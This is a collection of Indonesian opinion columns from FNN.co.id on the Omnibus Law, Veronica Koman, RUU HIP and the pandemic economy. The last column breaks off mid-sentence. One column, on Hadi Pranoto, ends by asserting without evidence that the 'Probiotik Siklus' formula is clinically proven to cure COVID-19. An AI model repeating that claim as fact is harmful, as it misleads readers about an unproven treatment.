UNCATEGORIZED

Omnibus Law Itu Strategi Jokowi untuk Menyingkirkan Oligarki Cukong

by Asyari Usman Jakarta FNN - Sabtu (24/10). Bergegas saya ke laptop. Khawatir inspirasi hilang. Inspirasi itu datang ketika sedang olahraga kecil di belakang rumah. Senam rutin itu pun tidak saya lanjutkan. Langsung menuliskan ini. Sambil olahraga tadi, pikiran saya menerawang. Mengapa Pak Jokowi mau mengambil risiko yang sangat besar dengan membuat Omnibus Law UU Cipta Lapangan Kerja (kita singkat saja menjadi OBL). Yang sekarang sangat kontroversial. Dan mulai menjadi bola api liar. Termasuklah risiko menghadapi demo besar-besaran dan terus-menerus dari kalangan buruh, mahasiswa serta elemen masyarakat lainnya. Demo-demo itu sendiri bisa pula menjadi tak terkendali. Bisa menyerempet ke posisi Jokowi sebagai presiden. "Kenapa ya Jokowi mengambil sikap keras?”, tanya saya dalam hati. “Sangat luar biasa…” Saya masih terus melakukan senam ringan. Sampai akhirnya tiba-tiba saja terlintas jawaban yang saya tunggu-tunggu. Dan itu yang membuat saya langsung ke laptop. Ini jawabannya. Bahwa dengan OBL itu, Jokowi sebetulnya sedang berusaha menyingkirkan para cukong yang selama ini dianggap sangat berkuasa di Indonesia. Yang dianggap bisa menentukan kebijakan pemerintah. Bahkan dianggap bisa menentukan siapa yang menjadi presiden dan menteri-menteri. Konon juga sampai bisa menentukan siapa yang menjadi orang nomor satu di berbagai lembaga penegak hukum, di pusat maupun di daerah. Tapi, apa kaitan antara upaya penyingkiran oligarki cukong dengan OBL? Begini. OBL itu dipercaya sebagai pesanan para cukong. Nah, di sini hebatnya Pak Jokowi. Beliau sadar betul OBL pasti akan ditentang habis-habisan oleh rakyat. Sebab, UU Cilaka itu dinilai mengandung pasal-pasal yang hanya menguntungkan para cukong dan merugikan rakyat. Ternyata memang ditentang habis-habisan. Tapi, Jokowi tidak surut. Semua saran agar OBL dibatalkan, tidak digubris. Termasuk saran dari MUI, Muhammadiyah, NU, dll. Ditolak oleh Jokowi. Terakhir, Menko Polhukam Mahfud MD, beberapa hari lalu, menegaskan OBL akan jalan terus. Pak Jokowi tampaknya sengaja membiarkan tentangan publik mencapai puncaknya. Perlawanan rakyat sengaja dibiarkan semakin besar. Jika perlawanan berkobar di mana-mana, hampir pasti para cukong akan melarikan diri dari Indonesia. Kabur semua. Setelah mereka kabur, barulah Pak Jokowi bertindak. Beliau akan menolak masuk para cukong yang melarikan diri ke luar negeri itu. Pak Jokowi akan mengatakan kepada mereka, “Ternyata kalian biarkan saya menghadapi amuk rakyat. Karena itu, kalian tidak boleh lagi pulang ke Indonesia. Kalian memang pengkhianat. Benarlah apa yang dikatakan rakyat selama ini.” Nah, begitulah strategi Pak Jokowi untuk menyingkirkan para cukong. Para cukong itu tentu tidak bisa bilang apa-apa. Sebab, mereka semua lari meninggalkan Jokowi ketika rakyat di seluruh Indonesia turun ke jalan. Sangat pantas tindakan beliau mencekal para cukong itu masuk kembali ke sini. Cerdas sekali. Luar biasa, Pak Jokowi. Para cukong tak berkutik. Karena dibuktikan sendiri oleh Pak Jokowi pengkhianatan mereka. Setelah itu, Jokowi akan mengumpulkan para pemimpin politik, tokoh agama, dan tokoh masyarakat di Istana. Saat itu juga Presiden menyampaikan pidato di depan rakyat. Disiarkan langsung oleh seluruh stasiun televisi. Jokowi mengatakan, “Mulai saat ini, tidak akan pernah ada lagi pengaruh para cukong. Siapa pun itu. Kedaulatan akan sungguh-sungguh berada di tangan rakyat.” Jokowi akan meminta maaf kepada seluruh rakyat. Setelah itu, dilaksanakan proses rekonsiliasi nasional pemilik asli Indonesia. Tidak ada lagi buzzer. Tidak ada lagi caci-maki dan penistaan. Rakyat kembali bersatu. Berangkulan untuk kejayaan bangsa dan negara. Indonesia langsung kondusif. Kadrun, kampret, dan cebong hilang seketika dari medsos. Para pemimpin yang dikumpulkan Pak Jokowi di Istana bersepakat untuk mengusulkan agar pasal “jabatan presiden hanya dua periode” diubah lewat sidang istimewa MPR. Agar Pak Jokowi boleh ikut pilpres 2024. Tapi, usul sidang istimewa itu diprotes keras oleh Prabowo Subianto. Prabowo mengatakan, ada konsensus antara dia dengan Ibu tentang pilpres 2024. Lagi pula, survei terbaru menunjukkan elektabilitas beliau untuk 2024 tertinggi di antara para balonpres. Yaitu, 16.8%. Mantan Danjen ini menegaskan, jika sidang istimewa MPR dilaksanakan dan Jokowi boleh maju lagi di pilpres 2024, maka dia (Prabowo) akan mundur dari kabinet dan kembali menjadi macan. Prabowo menegaskan, dia akan berpidato gebrak meja di Gelora Bung Karno meskipun stadionnya kosong. Dia juga bersumpah akan membatalkan rekonsiliasi dan legitimasi Lebak Bulus. Dan juga akan membayar makanan yang disantap di restoran Sate Khas Senayan. Serta akan mengembalikan nasi goreng Mbak Mega. Selain itu, Prabowo akan menarik dukungan Gerindra untuk Gibran dan Bobby. Mendengar reaksi Prabowo, Jokowi tak peduli. Dia ingin menjadi presiden tiga periode demi menjaga agar oligarki cukong tidak terulang. Jokowi bertekad membangun kehidupan sosial-politik yang sehat, beradab dan berkeadilan. Untuk menunjukkan tekad ini, Jokowi menyuruh Gibran dan Bobby mundur dari pilkada Solo dan Medan. Supaya tidak ada lagi hujatan soal dinasti. Hebat! Jokowi balik arah total. Rakyat pun gembira. Senang luar biasa. Tetapi, tiba-tiba ada panggilan telefon dari Makkah ke para tokoh nasional. Yang menelefon meminta agar rakyat waspada terhadap segala bentuk penipuan. Sayup-sayup saya dengar percakapan telefon itu. Tapi, pada saat bersamaan terdengar pula suara tilawah Qur’an dari masjid di depan rumah. Saya lihat jam. Pukul 04:30. “Astaghfirullah,” saya bergumam. “Mimpi rupanya.”[] (Penulis wartawan senior FNN.co.id)

Kesalahan Negara Minta Veronica Koman Kembalikan Uang

“…Mungkin aktivis Hak Azasi Manusia (HAM) yang dapat beasiswa LPDP, yang Bicara HAM Papua, dan orang Papua yang sudah dapat beasiswa LPDP harus mengembalikan uang beasiswa yang diberikan LPDP…” by Marthen Goo Jakarta FNN – Kamis (13/08). Indonesia katanya punya Pancasila. Juga punya konstitusi berupa UUD45. Bahkan disitu ada yang namanya kemanusiaan dan hak asasi manusia. Dalam tiap hak warga negara, wajib hukumnya dilindungi dan itu juga dikenal dalam teori dasar kemanusiaan. Karenanya, dalam situasi apapun, namanya hak hidup setiap manusia wajib hukumnya dilindungi (pasal 28A). Fakta di Indonesia, nyawa orang Papua terlalu gampang dihilangkan hanya dengan timah panas. Bahkan ketika rakyat harus aksi, ruang demokrasinya pun ditutup, tentu itu ironi, karena kita terlalu berlebihan mengaku negara demokrasi, tapi faktanya berbeda. Kita hanya lebih suka terlena dalam kata-kata manis yang berbeda jauh dari faktanya. Di saat seperti begitu, Gereja-gereja di Indonesia diam seribu bahasa, sementara umat Tuhan sedang mengalami masalah serius. Indonesia punya lembaga hak asasi manusia yang diberi nama Komnas HAM. Tentunya Komnas HAM di Indonesia adalah lembaga pasif. Artinya lembaga Komnas HAM hanya diam menunggu laporan yang masuk. Tanpa laporan, Komnas HAM tidak bisa melakukan kerja-kerja kemanusiaan. Tentu saja ini sangat ironis. Apalagi Papua yang jauh, dimana setiap saat kejahatan terhadap kemanusiaan selalu terjadi. Tetapi tidak terdengar suara Komnas HAM. Mungkin juga karena laporan yang belum juga masuk. Berharap Komnas bersuara untuk Veronika. Di Indonesia ada juga yang namanya Lembaga Perlindungan Ibu dan Anak, mungkin kerja mereka sama seperti Komnas HAM, sehingga bekerja hanya berdasarkan Laporan. Pada hal, kasus Nduga, banyak anak dan ibu jadi korban, tapi faktanya Lembaga tersebut belum juga bicara, mungkin juga tidak ada data dan laporan. Berharap terhadap kasus Veronika, lembaga ini bisa bersuara dari prespektif HAM. Jika semua diam, agama yang ditugaskan Tuhan untuk menjaga dan melindungi umat-Nya saja diam, lembaga HAM pun diam, maka, hak hidup orang Papua di Indonesia akan menjadi ancaman serius. Terkesan semua lembaga hanya tunduk pada oknum yang tidak memiliki prespektif Ham dalam kelolah negara, bukan tunduk pada kemanusiaan dan Tuhan. Terhadap kasus Veronica tersebut, dapat diduga bahwa ada indikasi pelanggaran HAM yang dilakukan oleh negara. Atas dugaan tersebut, diharapkan Komnas HAM dan Komnas Perempuan segera melakukan penyelidikan terhadap upaya diskriminasi tersebut. Veronica telah melakukan tanggungjawab kerja agama, tanggungjawab kerja lembaga HAM, dan tanggungjawab bernegara Veronica adalah perempuan yang hebat dan sangat luar biasa. Dia berani ambil tanggungjawab lembaga Ham di Indonesia dan selalu bersuara tentang Hak Asasi Manusia. Tidak hanya itu, perlindungan dan penyelamatan umat manusia di dunia itu juga sesungguhnya kerja agama apapun, namun ketika semua diam dan bisu, Veronica mengambil beban kerja mereka dengan terus bersuara lantang soal kemanusiaan dan penyelamatan umat Tuhan. Negara berkewajiban melindungi dan menyelamatkan warga negara, namun faktanya, di Papua justru kejahatan Hak Asasi Manusia dilakukan oleh negara. Dalam teori HAM, pelaku pelanggar HAM atau aktor pelanggar HAM selalu “state actor”. Sehingga aktor utama pelanggar HAM adalah negara. Padahal, baik Pancasila maupun konstitusi negara dengan tegas mengatakan bahwa “negara wajib melindungi warga negaranya”. Ketika negara tidak melaksanakan fungsinya dengan sebenarnya, Veronica Koman menggantikan fungsi negara dan berusaha membawa negara pada koridor yang benar. Semangat membangun negara bertujuan untuk melindungi segenap warga negara dan mensejahterakan seluruh warga negara. Tujuan utama didirikan negara sangat jelas yakni melindungi segenap rakyat. Hal itu tidak dilakukan negara, tetapi tugas negara malah dilakukan Veronica Koman. Veronica adalah perempuan yang hebat dan berani. Dia melakukan perbuatan penyelamatan umat manusia dan mengambil alih pekerjaan lembaga kemanusiaan dan lembaga agama bahkan lembaga yang besar yakni negara. Andai saya Presiden, saya akan memberikan penghargaan kepada Veronica Koman. Saya akan pecat orang-orang yang meminta mengembalikan uang kepada Veronica Koman. Andai saya jadi Presiden, saya akan berikan penghargaan kepada Veronica Koman karena telah mengajari seluruh kaum elit di Indonesia tentang pentingnya penghormatan pada HAM. Veronica juga terbukti melakukan kerja negara dalam melindungi segenap warga negara. Veronica pun telah berusaha mengembalikan fungsi utama negara pada koridornya. Selain itu, Veronica sesungguhnya adalah tokoh kemanusiaan yang telah mencerminkan Pancasila dan UUD45 dengan semangat melindungi dan menyelamatkan umat manusia. Dengan adanya segelintir orang yang meminta Veronica Koman mengembalikan uang, sesungguhnya telah: (1) mencoreng nama negara dan bertentangan dengan semangat HAM dan bertentangan dengan Pancasila dan UUD45; (2) Telah menunjukan ke dunia bahwa negara sesungguhnya anti HAM, sementara negara telah meratifikasi DuHam dan merumuskannya dalam UU No. 26 Tahun 2000; (3) memberikan kesan pada masyarakat dunia bahwa sesungguhnya ada hal yang didutup di Papua dan tekersan ada niat buruk terhadap Papua. Menurut tokoh nasional termuda, Natalius Pigai, “Veronica Koman itu human rights defender. Biaya LPDP itu kewajiban negara (state obligation). Veronica Koman adalah WNI yang memiliki hak asasi (rights holder)”. Pak Natalius juga menambahkan “ketika pembela HAM dikriminalisasi di luar negara maka karena itu prinsip safe haven in exile. Tidak perlu mengembalikan atau ganti uang kepada negara. Dulu tahun 1965 banyak orang atau kader PKI diberi beasiswa untuk belajar ke Rusia dan Eropa Timur, tetapi negara tidak pernah minta balikan uang. Tindakan itu memalukan wibawa negara”. Dari referensi Pak Natalius di atas, menggambarkan bahwa adanya oknum-oknum orang yang mengelola negara belum memahami perbedaan konteks secara baik dan benar. Bahkan berusaha mempolitisir aspek HAM. Sementara, semangat konstitusi adalah semangat HAM, dan hal itu juga didasari pada lahirnya reformasi 1998. Karenanya, terhadap mereka yang mulai ungkit hal-hal itu dapat diduga hanya sebagai niatan untuk mengkriminalisasi Veronica Koman. Juga upaya untuk membuat Veronica Koman tidak bicara soal HAM yang terjadi di Papua. Dapat diduga bahwa ada upaya melakukan tiga hal prinsip di atas. Padahal, HAM itu jelas dalam sistim konstitusi juga. Setiap orang berhak melindungi HAM, termasuk negara. Veronica Koman sesungguhnya adalah pahlawan HAM di era saat ini. Wajib diberikan penghargaan yang sangat besar, dan terhadap mereka yang berusaha mengkriminalisasi Veronica, wajib diperiksa karena turut mencederai HAM dan turut mencoreng nama negara. HAM bukan lagi hanya dijadikan slogan, tapi wajib diwujudkan dalam kehidupan berbangsa, karena itu universal. Andai saya Presiden, setiap warga negara, saya akan lindungi hak asasinya. Mereka yang mencederai HAM, akan saya perintah untuk diproses hukum agar setiap warga merasa nyaman dan merasa damai sebagai warga negara. Apakah semua aktivis HAM harus mengembalikan uang LPDP? Veronica itu aktivis HAM. Dia selalu bicara kebenaran tentang kejahatan kemanusiaan yang terjadi di Papua. Veronica mengungkapkan kebenaran yang berusaha ditutupi oleh orang-orang anti kemanusiaan. Masa kepada Veronica dimintai pengembalian uang dari LPDP ? Apakah ini lelucon yang dipertontonkan? Kalau demikian, apakah setiap aktivis HAM yang mendapatkan beasiswa LPDP dan bicara soal HAM di Papua wajib mengembalikan dana-dana tersebut? Orang Papua yang dapat LPDP itu berpotensi bicara soal HAM, karena menyangkut kehidupan, keselamatan dan keberlangsungan hidup orang Papua. Apakah mereka wajib mengembalikan beasiswa dari LPDP ? Barangkali LPDP harus pakai syarat, yang syaratnya adalah: (1) kalau mau dapat beasiswa LPDP, wajib tidak bicara HAM Papua; (2) orang Papua dilarang dapat beasiswa LPDP. Barang kali ini biar jadi sejarah baru yang mau dibuat di Indonesia. Akhirnya, hentikan upaya kriminalisasi Veronica Koman dengan cara apapun, karena upaya kriminalisasi adalah pekerjaan yang tidak terpuji dan merusak tatanan bangsa apalagi dari aspek kemanusiaan. Veronica adalah pejuang kemanusiaan. Veronica selalu bicara fakta dan data. Jiwanya yang besar tentang kemanusiaan wajib didukung dan dihormati serta diberi apresiasi oleh setiap orang yang memiliki jiwa kemanusiaan dan nurani kemanusiaan, apalagi atas nama agama dan pancasila. Orang yang tidak punya prespektif HAM baiknya jangan jadi pemimpin negara, karena rakyat akan jadi korban terus menerus atas setiap kebijakan yang dilakukan. ganti oknum-oknum yang tidak memiliki prespektif kemanusiaan demi perlindungan rakyat. Penulis adalah Aktivis Kemanusiaan Asal Papua.

Antara Hadi Pranoto, Saifuddin Hakim, dan Klaim Vaksin Covid

by Mochamad Toha Jakarta FNN - Selasa (04/08). Akhirnya, Erdian Anji Prihartanto, penyanyi yang akkrab dipanggil Anji, dilaporkan ke polisi terkait dengan klaim Hadi Pranoto di kanal Youtube-nya. Hadi Pranoto terlalu berani mengaku sebagai pakar mikrobiologi seperti disampaikan melalui video wawancaranya bersama penyanyi Anji di kanal Youtube-nya. Anji menyebut Hadi Pranoto sebagai profesor dan ahli mikrobiologi. Setelah dilakukan penelusuran identitas oleh Ikatan Dokter Indonesia (IDI), Hadi Pranoto itu bukan anggota kelompok profesi tersebut. “Kami coba cari di daftar anggota IDI tidak ada Hadi Pranoto seperti di dalam video,” kata Adib Khumaidi. Mengutip Tempo.co, Minggu (2 Agustus 2020 18:50 WIB), Wakil Ketua Umum PB IDI itu mengatakan memang menemukan seseorang bernama Hadi Pranoto sebagai staf pengajar di Universitas Mulawarman. Namun dia bukan Hadi Pranoto yang ada di video itu. Adib mengatakan sudah mengontak kelompok ahli mikrobiologi. Menurut dia, tidak ada yang mengenal Hadi Pranoto. “Kami ada grup, semuanya mengatakan tidak mengenal beliau,” kata Adib. Adib meminta kepolisian untuk turun tangan menelusuri latar belakang Hadi Pranoto. Sebab, ada kemungkinan Hadi telah melakukan pembohongan publik. “Dia bukan seorang dokter atau ahli mikrobiologi bahkan mengaku sebagai profesor, ini kan tentunya harus ditelusuri oleh aparat, bukan tidak mungkin ada kebohongan publik yang dilakukan,” ujar dia. Sebelumnya, nama Hadi Pranoto banyak diperbincangkan di medsos setelah diwawancarai oleh penyanyi Erdian Anji Prihartanto alias Anji di kanal Youtube-nya. Anji menyebut Hadi Pranoto sebagai profesor dan ahli mikrobiologi. Dalam video itu, Hadi Pranoto mengklaim telah menemukan obat atau herbal antibodi untuk menyembuhkan Covid-19. Hadi Pranoto mengklaim sudah menyembuhkan ribuan orang. Menurut dia, hanya butuh waktu dua sampai tiga hari untuk pengobatan. Adib meminta masyarakat berhati-hati. Dia bilang klaimnya itu tidak bisa dibuktikan secara ilmiah. “Masyarakat harus bisa menyaring yang disampaikan oleh siapapun, kalau tidak bisa dibuktikan secara ilmiah, maka keamanan pasien yang menjadi taruhannya,” kata dia. Siapa Hadi Pranoto yang sebenarnya, sudah banyak media yang meneliknya. Mungkin info yang saya tulis ini sedikit berbeda dengan tulisan atau berita yang tersebar di berbagai media, termasuk Tempo.co maupun Kompas.com. Namun sebelum saya uraikan siapa Hadi Pranoto itu, ada baiknya, kita simak komentar dari Saifuddin Hakim yang juga mengaku ahli mikrobiologi dari Department of Microbiology, Faculty of Medicine, Public Health and Nursing, Universitas Gadjah Mada. “Siapakah Profesor Hadi Pranoto, yang katanya profesor mikrobiologi penemu antibodi anti-covid-19?” begitu Saifuddin Hakim mengawali tulisannya yang kini juga viral di berbagai media dan medsos itu. Berikut petikan lengkapnya: Pagi ini, lagi2 dikejutkan dengan video ini yang katanya seorang profesor mikrobiologi penemu antibodi anti-Covid-19. Klaim yg fantastis ... Bahkan beliau mengklaim meneliti virus sejak tahun 2000 (sejak 20 tahun yg lalu), juga meneliti virus influenza (H5N1), SARS-CoV, dan MERS-CoV. Kami lacak ke google scholar, scopus, hasilnya NIHIL. Memang ada nama hadi pranoto, tapi bukan Hadi Pranoto yg muncul dalam video ini. Hasil pelacakan ke database dosen mmg ada nama Hadi Pranoto juga, tapi profilnya berbeda dg orang yg tiba2 muncul dalam video ini (gambar 2) Meneliti virus sejak 20 tahun, tanpa ada satu pun publikasi ilmiah, bahkan di jurnal ecek2 sekalipun? Terus tiba2 muncul sebagai "superhero" penemu antibodi anti-covid-19? Wow ... kalau bener bapak ini bisa publikasi di Nature, Science, terus tahun depan bisa dapat Nobel, pak. Tahu nggak sih beliau ini, antibodi itu apa? Terus penelitiannya kalau membuktikan ini, harus dilakukan di institusi dengan minimal BSL3. Lha emang dia punya Lab BSL3? Punya cell line yg sesuai nggak, pak? Terus di mana bikin antibodinya? Sesuai prinsip GMP atau nggak? Jangan2 cuma cairan keruh aja itu produknya? Record clinical trial-nya di mana? Ternyata, lagi2 saya nemu orang dengan klaim "profesor mikrobiologi". Ini orang kedua yg saya temui. Orang pertama adalah Profesor Ainul Fatah alias Sukardi. Saya pernah menyusup ke seminarnya di Sidoarjo atas bantuan seorang teman. "Penemu" probiotik siklus. Saya punya tanda tangan sertifikat atas nama beliau setelah ikut seminarnya. Katanya, Prof Sukardi ini dicari2 CIA. Ketika dia masuk ruang seminar, kita tidak boleh foto, nggak boleh ambil video. Pokoknya g boleh ada yg tau dia di mana, rumahnya di mana. Pokoknya rahasia, krn "aset negara". (Niat banget saya malam2 naik kereta dari Jogja hanya utk ndatengin profesor jadi2an ini). Bermimpi suatu hari masyarakat Indonesia cerdas dalam menyikapi klaim2 seperti ini. Kepada Bapak, Ibu, mas, mbak, adek2, yg udah nonton video ini, tidak perlu ditonton sampai selesai, banyak info yang tidak benar. Meski saya tidak perlu rinci satu2, nti kepanjangan. Salam sehat!! Semoga kita tetap waras. Ini link google scholar saya, siapa tau ada yg mencari, meski saya masih peneliti pemula: https://scholar.google.co.id/citations?hl=en&user=69FHXg8AAAAJ Hadi Pranoto Hadi Pranoto itu SPd, MPd, bukan doktor, apalagi profesor. Dia ini salah satu anggotanya Laksma TNI DR. Agung Suradi yang menjadi endoser-nya Bio Nuswa yang BPOM-nya di-suspend karena over claim. Hadi Pranoto pernah ketemu dengan formulator (Probiotik Siklus) di Kecamatan Pandaan, Kabupaten Pasuruan, Jawa Timur. Kemudian, Hadi membuat kehebohan yang lebih tepat disebut sebagai “kebodohan”itu. Lalu dia ingin mengganti “baju”, dari Bio Nuswa menjadi nama baru. Tapi dia kelihatan tidak menguasai masalah yang dibahasnya, banyak yang (maaf) asal bunyi. Lepas dari kontroversi tentang Prof Sukardi, tidak terlalu penting tentang kontroversi itu. Yang penting formulanya sudah terbukti bisa menolong banyak orang. Dan, juga itu terbukti kehebatannya berdasar beberapa uji lab dan riset yang sudah dilakukan. Testimoni dan uji klinik telah pula terbukti formulanya berhasil menyembuhkan Covid-19. Andaikan beliau tukang angon wedus, tukang angon sapi, tukang sampah, tukang sapu, atau tukang ngepel, juga terlalu penting bagi tim formulator. Tantangannya, bagi tim melakukan riset atas formula-formulanya, dan menemukan bukti-bukti kehebatan formulanya. Tidak sekedar berdebat tanpa melakukan riset. Makanya, tim tidak akan melakukan seperti yang dilakukan oleh yang lainnya, yang hanya menjual nama besar formulator. Saifuddin Hakim Ada yang perlu dicermati dari cerita Saifuddin Hakim di atas. Dia bilang “menyusup” di acara silaturrahmi Grup Probiotik Siklus (GPS) Sidoarjo di Sun City Hotel. Dari situ saja mencerminkan perilaku yang tidak terpuji. Susunan kalimatnya dipenuhi dengan su'udzon yang tidak mencerminkan seorang akademisi dan sehat. Dia pernah bergabung sebentar “menyusup” ke room GPS-1 dan dikeluarkan oleh Admin karena perilaku yang tidak terpuji. Bagi anggota GPS yang bersikap dan berperilaku seperti Saifuddin Hakim dan sampai saat ini masih ada di GPS, duduk seperti belajar di sana, tapi menyimpan hasad dan kebencian kepada sistem dan gerakan peradaban sehat yang sedang dibangun tim sungguh lebih bijak diam atau bergabung kepada apa yang anda yakini sebagai kebenaran. Kalau Saifuddin Hakim memang berniat “menyusup”, tentunya dia tidak akan salah dalam googling nama Prof Sukardi. Prof AF itu bukanlah ahli mikrobiologi. Tapi, seorang ahli mikro kultur bakteriologi. Silakan googling! Kalau Saifuddin Hakim googling nama Prof AF sebagai ahli mikrobiologi, tentu sampai dia ubek-ubek google tidak akan ketemu. Atau mungkin sekarang ini sudah diralat setelah salah sebut sebagai ahli mikrobiologi? Penulis adalah Wartawan Senior FNN.co.id

RUU HIP Itu Bukti Menghianati Bung Karno

by M Rizal Fadillah Jakarta FNN – Senin (06/07). Bahwa Bung Karno berpidato pada 1 Juni 1945 menawarkan rumusan ideologi negara apakah Pancasila, Trisila, atau Ekasila tak bisa dibantah sebagai fakta sejarah. Pidato "perasan" ini disampaikan di depan peserta sidang BPUPKI yang dipimpin dr. Radjiman Wedyodiningrat. Masalahnya adalah Ir. Soekarno sama sekali tidak menetapkan atau bersepakat dengan Pancasila rumusan 1 Juni tersebut. Masih mengambang, dan itu adalah sebatas tawaran pilihan dari Soekarno saja. Usulan dan pidato-pidato berikut dari para peserta sidang tidak menyepakati tawaran Bung Karno tersebut. Dalam rangka menggodok semua masukan peserta siding, maka dibentuklah Panitia Sembilan yang diketuai oleh Ir. Soekarno sendiri. Panitia Sembilan sepakat rumusan Pancasila sebagaimana yang dikenal dengan nama “Piagam Jakarta”. Sila pertama adalah "Ketuhanan dengan kewadjiban mendjalankan syari'at Islam bagi pemeluk-pemeluknja". Bung Karno tentu menandatangani rumusan Pancasila 22 Juni 1945 tersebut. Maka lahirlah Pancasila. Inilah Pancasila yang dilahirkan oleh BPUPKI. Oleh Ir. Soekarno. Makanya keliru jika menyatakan 1 Juni 1945 sebagai kelahiran Pancasila. Belum ada kesepakatan apa-apa saat itu. Masih penggodokan, adu konsep atau adu tawaran gagasan. Soekarno sendiri masih ragu soal Pancasila, sehingga merasa perlu menawarkan untuk dipertimbangkan alternatif Trisila dan Ekasila. Tawaran ini pun tidak mendapat sambutan apa-apa. Apalagi sampai persetujuan. Sama sekali tidak ada. Soekarno telah men"drop" tawarannya, dan tidak lagi mencoba untuk memperjuangkan pasca pidato. Tidak ada lobi-lobi yang "ngotot" untuk menggoalkan Trisila dan Ekasila. Fakta terakhir yang disetujui oleh Soekarno adalah Pancasila dengan rumusan sebagaimana tercantum dalam "Piagam Jakarta". Soekarno tidak menyesal atas tidak diterima tawaran "peras perasan" sila-sila pada Trisila dan Ekasila. Rumusan"Piagam Jakarta" adalah keyakinan dan kebenaran ideologi yang diterima Ir. Soekarno. Ini adalah rumusan ideal ideology Soekarno. Sekurangnya untuk saat itu 22 Juni 1945. Kini Soekarnois mencoba memasukan Pancasila (1 Juni 1945), Trisila, dan Ekasila dalam Pasal RUU HIP. Tidak disadari bahwa perjuangan ini adalah penghianatan pada diri Soekarno sendiri. Presiden pertama ini sudah men"drop" gagasan itu. Bahkan secara formiel dan materiel Soekarno sudah menerima. Soekarno sudah sepakat pada rumusan Pancasila 22 Juni 1945. Kemudiannya menjadi Rumusan Pancasila 18 Agustus 1945. Saat Dekrit 5 Juli 1959 Soekarno menyatakan bahwa Piagam Jakarta menjiwai UUD 1945, dan merupakan satu kesatuan dengan UUD tersebut. Tidak terlintas dalam fikiran Soekano bahwa ada Pancasila 1 Juni 1945 atau Trisila dan Ekasila itu menjadi jiwa dari UUD 1945. Menghidupkan sesuatu yang sudah dikubur oleh Soekarno sendiri merupakan upaya, yang bukan saja menghianati bangsa Indonesia. Tetapi juga menghianati pribadi proklamator bangsa Indonesia yang bernama Ir. Soekarno itu. Bilangnya sih menghormati Soekarno. Namun yang tidak disadari bahwa sebenarnya telah menghianati Soekarno. Penulis adalah Pemerhati Politik dan Kebangsaan.

Kemana Kurva Pemulihan Ekonomi Indonesia?

by Bambang Soesatyo,Ketua MPR RI, Maruarar Sirait, Anggota DPR 2004-2019, Andi Rahmat, Pelaku Usaha, dan Mantan Wakil Ketua Komisi XI DPR RI 2004-2014 Jakarta FNN – Jum’at (12/05). Hingga bulan Februari tahun 2020, perekonomian dunia menunjukkan gairah pertumbuhan positif. Tidak ada tanda-tanda kontraksi berarti, apalagi resesi. Perbincangan dikalangan banyak ekonom dan pelaku bisnis juga demikian. Pembahasan lebih banyak pada isu kesenjangan ekonomi. Stagnasi pendapatan kelas menengah, dan efek suku bunga rendah bank-bank sentral. Perang dagang Amerika dengan China atau Ekonomi Pro Lingkungan. Dalam hal kritisasi pertumbuhan ekonomi dunia, ramai dibicarakan soal fenomena 'sluggish' (Istilah yang dipilih IMF ketimbang stagnasi). Fenomena Stagnasi Sekuler dalam pertumbuhan ekonomi dan seterusnya. Tidak banyak diskusi atau reportase tentang ancaman krisis, apalagi resiko depresi pada perekonomian. Tapi semua itu berubah dramatis diakhir februari dan terus berlanjut hingga sekarang. Tiba-tiba saja seluruh dunia diperhadapkan pada situasi krisis ekonomi. Krisis yang makin hari makin menunjukkan kualitas kerusakannya. Krisis ekonomi ini pemicunya tidak berasal dari dalam perekonomian itu sendiri. Tetapi berasal dari luar lingkungan perekonomian. Krisis kesehatan global. Pandemi Covid 19, berubah menjadi krisis ekonomi yang sulit dicari bandingan efeknya dalam khazanah perekenomian dunia paska Perang Dunia ke-2. Sebagai pelaku usaha, kami merasakan nuansa optimistis memasuki tahun 2020. Kita memang merasakan adanya 'tekanan' pada perekonomian. Tapi persepsi terhadap tekanan itu lebih merupakan keadaan koreksi normal perekonomian terhadap 'booming' ekonomi paska 2008. Berupa perubahan perilaku bisnis, baik itu ditingkat konsumen maupun peralihan fokus usaha pelaku usaha. Periode 2014 hingga 2019, agresifitas investasi menunjukkan tren pengambilan resiko yang tinggi. Terutama pada investasi padat modal dan memakan waktu. Dalam persepsi kami, akan menunjukkan hasil positifnya dimulai tahun 2020 ini. Akumulasi Realisasi Investasi tahun 2014 mencapai Rp 463,1 trilliun, meningkat menjadi Rp 545,4 trilliun (meningkat 17,77%) di tahun di 2015. Tahun 2016 mencapai Rp 612,8 trilliun (meningkat 12,4%). Kemudian di tahun 2017 mencapai Rp 692,8 trilliun (meningkat 13%). Pada tahun 2018, meningkat lagi menjadi Rp 721,3 trilliun (meningkat 14,1%). Dan di tahun 2019 naik lagi menjadi Rp 809,6 trilliun (meningkat 12,24%). Total akumulasi realisasi investasi sepanjang kurun 2014-2019 mencapai Rp 3.845,1 trilliun. Laporan sektor keuangan juga menunjukkan hal yang sama. Baik berupa indikator peningkatan Dana Pihak Ketiga (DPK) di perbankan, kinerja Pasar Saham, indikator kesehatan sektor perbankan dan lain-lain. Kesemuanya menunjukkan dinamika positif dalam perekonomian. Tentu ada banyak catatan kritis terhadap situasi perekonomian Indonesia sepanjang kurun itu. Peningkatan drastis hutang negara, kinerja penerimaan pajak dalam dua tahun terakhir, pertumbuhan ekonomi yang stagnan di bawah 5,2% , pergerakan kurs yang berhubungan dengan aksi tappering off Bank Sentral Amerika, defisit transaksi berjalan, kinerja keuangan BUMN. Semua itu adalah hal- hal yang bisa disebutkan menonjol selama kurun waktu itu. Tibalah kita pada situasi dimana semua indikator perekonomian mengalami kontraksi hebat. Semua variabel pembentuk Produk Domestik Bruto (PDB) menunjukkan penurunan kinerja yang curam. Angka pengangguran meningkat tajam, jumlah penduduk yang kembali jatuh ke dalam zona kemiskinan juga meningkat. Perbankan dan Institusi Keuangan Non-Bank (IKNB) turut mengalami tekanan kuat. Kinerja ekspor-impor menurun. Beberapa sektor bisnis menghadapi resiko kebangkrutan massal. Indeks saham merosot tajam, menghapuskan ribuan trilliun nilai kekayaan dalam waktu singkat. Volatilitas rupiah bergerak cepat dalam rentang yang lebar. Semua ini, terjadi tanpa gejala pendahuluan. Semua datang begitu saja secara tiba-tiba, cepat dan dengan efek toksiknya terhadap perekonomian yang mematikan. Dari segi skala efeknya terhadap struktur perekonomian, dalam hemat kami, hantaman krisis pandemi terhadap perekonomian jauh lebih hebat ketimbang krisis 1998. Saat ini yang dihadapi bukan saja krisis keuangan. Nmun krisis yang menyeluruh pada semua bangunan perekonomian. Dengan menyisakan hanya sedikit saja sektor yang tidak terdampak hebat. Dan krisis ini bukan saja melanda Indonesia, tetapi keseluruhan perekonomian dunia. Krisis ini menguji daya tahan perekonomian nasional kita. Menguji respon pemerintah dan otoritas 'quasi government'. Menguji kemampuan dan kualitas pelaku usaha, baik 